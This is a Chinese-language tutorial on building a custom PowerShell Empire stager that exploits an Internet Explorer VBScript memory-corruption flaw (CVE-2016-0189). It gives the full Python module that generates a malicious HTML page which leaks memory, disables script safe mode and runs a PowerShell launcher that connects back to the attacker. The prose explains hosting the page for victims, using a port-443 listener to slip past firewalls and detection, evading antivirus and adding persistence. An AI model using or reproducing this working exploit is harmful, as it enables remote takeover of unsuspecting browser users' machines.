Powershell Empire 是我们在渗透目标用户时一直都很喜欢的工具之一,虽然我们通常都是用Metaspolit和Empire来一起完成工作,使浏览器漏洞和经验结合在Empire中。
在最近的一次测试中我们没有选择去使用MSF,相反我们和一个新的“经验丰富”的Empire一起利用CVE-2016-0189(也就是vbscrupt_godmode)其攻击使用IE9—11的用户。Empire是近6个月来我们首选的使用并且最近开始打造漏洞工具箱。如果成功,powershell将会登录并通过一个代理链接到Empire。重要的是硬盘上不会留下任何信息。
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'MS16-051 IE RCE',
'Author': ['www.cgsec.co.uk'],
'Description': ('Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which works on IE9/10/11 and all versions of Windows'),
'Comments': [
'Target will have to open link with vulnerable version of IE.'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
'Value' : '0'
},
'OutFile' : {
'Description' : 'File to output HTML to, otherwise displayed on the screen.',
'Required' : True,
'Value' : ''
},
'Base64' : {
'Description' : 'Switch. Base64 encode the powershell output.',
'Required' : True,
'Value' : 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
base64 = self.options['Base64']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
encode = False
if base64.lower() == "true":
encode = True
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
code = "<html>\n"
code += "<head>\n"
code += "<meta http-equiv=\"x-ua-compatible\" content=\"IE=10\">\n"
code += "</head>\n"
code += "<body>\n"
code += " <script type=\"text/vbscript\">\n"
code += " Dim aw\n"
code += " Dim plunge(32)\n"
code += " Dim y(32)\n"
code += " prefix = \"%u4141%u4141\"\n"
code += " d = prefix & \"%u0016%u4141%u4141%u4141%u4242%u4242\"\n"
code += " b = String(64000, \"D\")\n"
code += " c = d & b\n"
code += " x = UnEscape(c)\n"
code += " \n"
code += " Class ArrayWrapper\n"
code += " Dim A()\n"
code += " Private Sub Class_Initialize\n"
code += " ReDim Preserve A(1, 2000)\n"
code += " End Sub\n"
code += " \n"
code += " Public Sub Resize()\n"
code += " ReDim Preserve A(1, 1)\n"
code += " End Sub\n"
code += " End Class\n"
code += " \n"
code += " Class Dummy\n"
code += " End Class\n"
code += " \n"
code += " Function getAddr (arg1, s)\n"
code += " aw = Null\n"
code += " Set aw = New ArrayWrapper\n"
code += " \n"
code += " For i = 0 To 32\n"
code += " Set plunge(i) = s\n"
code += " Next\n"
code += " \n"
code += " Set aw.A(arg1, 2) = s\n"
code += " \n"
code += " Dim addr\n"
code += " Dim i\n"
code += " For i = 0 To 31\n"
code += " If Asc(Mid(y(i), 3, 1)) = VarType(s) Then\n"
code += " addr = strToInt(Mid(y(i), 3 + 4, 2))\n"
code += " End If\n"
code += " y(i) = Null\n"
code += " Next\n"
code += " \n"
code += " If addr = Null Then\n"
code += " document.location.href = document.location.href\n"
code += " Return\n"
code += " End If\n"
code += " getAddr = addr\n"
code += " End Function\n"
code += " \n"
code += " Function leakMem (arg1, addr)\n"
code += " d = prefix & \"%u0008%u4141%u4141%u4141\"\n"
code += " c = d & intToStr(addr) & b\n"
code += " x = UnEscape(c)\n"
code += " \n"
code += " aw = Null\n"
code += " Set aw = New ArrayWrapper\n"
code += " \n"
code += " Dim o\n"
code += " o = aw.A(arg1, 2)\n"
code += " \n"
code += " leakMem = o\n"
code += " End Function\n"
code += " \n"
code += " Sub overwrite (arg1, addr)\n"
code += " d = prefix & \"%u400C%u0000%u0000%u0000\"\n"
code += " c = d & intToStr(addr) & b\n"
code += " x = UnEscape(c)\n"
code += " \n"
code += " aw = Null\n"
code += " Set aw = New ArrayWrapper\n"
code += " \n"
code += " \n"
code += " aw.A(arg1, 2) = CSng(0)\n"
code += " End Sub\n"
code += " \n"
code += " Function exploit (arg1)\n"
code += " Dim addr\n"
code += " Dim csession\n"
code += " Dim olescript\n"
code += " Dim mem\n"
code += " \n"
code += " \n"
code += " Set dm = New Dummy\n"
code += " \n"
code += " addr = getAddr(arg1, dm)\n"
code += " \n"
code += " mem = leakMem(arg1, addr + 8)\n"
code += " csession = strToInt(Mid(mem, 3, 2))\n"
code += " \n"
code += " mem = leakMem(arg1, csession + 4)\n"
code += " olescript = strToInt(Mid(mem, 1, 2))\n"
code += " overwrite arg1, olescript + &H174\n"
code += " Set Object = CreateObject(\"Wscript.Shell\")\n"
code += " Object.run(\""
code += launcher + "\")\n"
code += " End Function\n"
code += " \n"
code += " Function triggerBug\n"
code += " aw.Resize()\n"
code += " Dim i\n"
code += " For i = 0 To 32\n"
code += " ' 24000x2 + 6 = 48006 bytes\n"
code += " y(i) = Mid(x, 1, 24000)\n"
code += " Next\n"
code += " End Function\n"
code += " </script>\n"
code += " \n"
code += " <script type=\"text/javascript\">\n"
code += " function strToInt(s)\n"
code += " {\n"
code += " return s.charCodeAt(0) | (s.charCodeAt(1) << 16);\n"
code += " }\n"
code += " function intToStr(x)\n"
code += " {\n"
code += " return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);\n"
code += " }\n"
code += " var o;\n"
code += " o = {\"valueOf\": function () {\n"
code += " triggerBug();\n"
code += " return 1;\n"
code += " }};\n"
code += " setTimeout(function() {exploit(o);}, 50);\n"
code += " </script>\n"
code += "</body>\n"
code += "</html>"
return code
ms16.py
首先我们可以从Github获取Empire
现在我们已经下载了Empire,接下来我们要安装apache2以便于我们把索引页面直接放到/var/www/html路径下。这一步是可选的,因为大多数人都想改变输出位置,模糊它来逃避杀毒引擎或者类似的产品。
接下来该添加我们的新规则了。这需要将脚本放在/lib/stagers下并且运行Empire的install.sh脚本去添加并运行它。如果你的运行在Ubuntu环境中,你可能要在运行这些脚本之前去安装pip。
现在我们已经准备好并要第一次去启动Empire了。如果一切都顺利的话我们应该可以去使用我们添加的ms16脚本、设置我们的输出文件到/var/www/html/index.html并且放置直接目标到其中。更高级的用户可能想要去设置一些稍微复杂的到服务中来利用不同客户或不同的向量来混淆视听,这些就已经超出本文要描述的范围了。
我个人更偏向于设置443端口的监听以期bypass一些防火墙并逃避一些检测机制。
现在去生成我们的恶意HTML
现在当你的服务被某个使用带有相关漏洞浏览器的用户浏览的时候,这个攻击载荷将被触发同时你将看到一个新的代理在Empire中。使用持久性模块创建任务通常是个好注意,相似的也可以确保你不因为重新启动而丢失权限。这些可以通过设置自动运行的代理从而设置为自动运行一个新的客户端连接。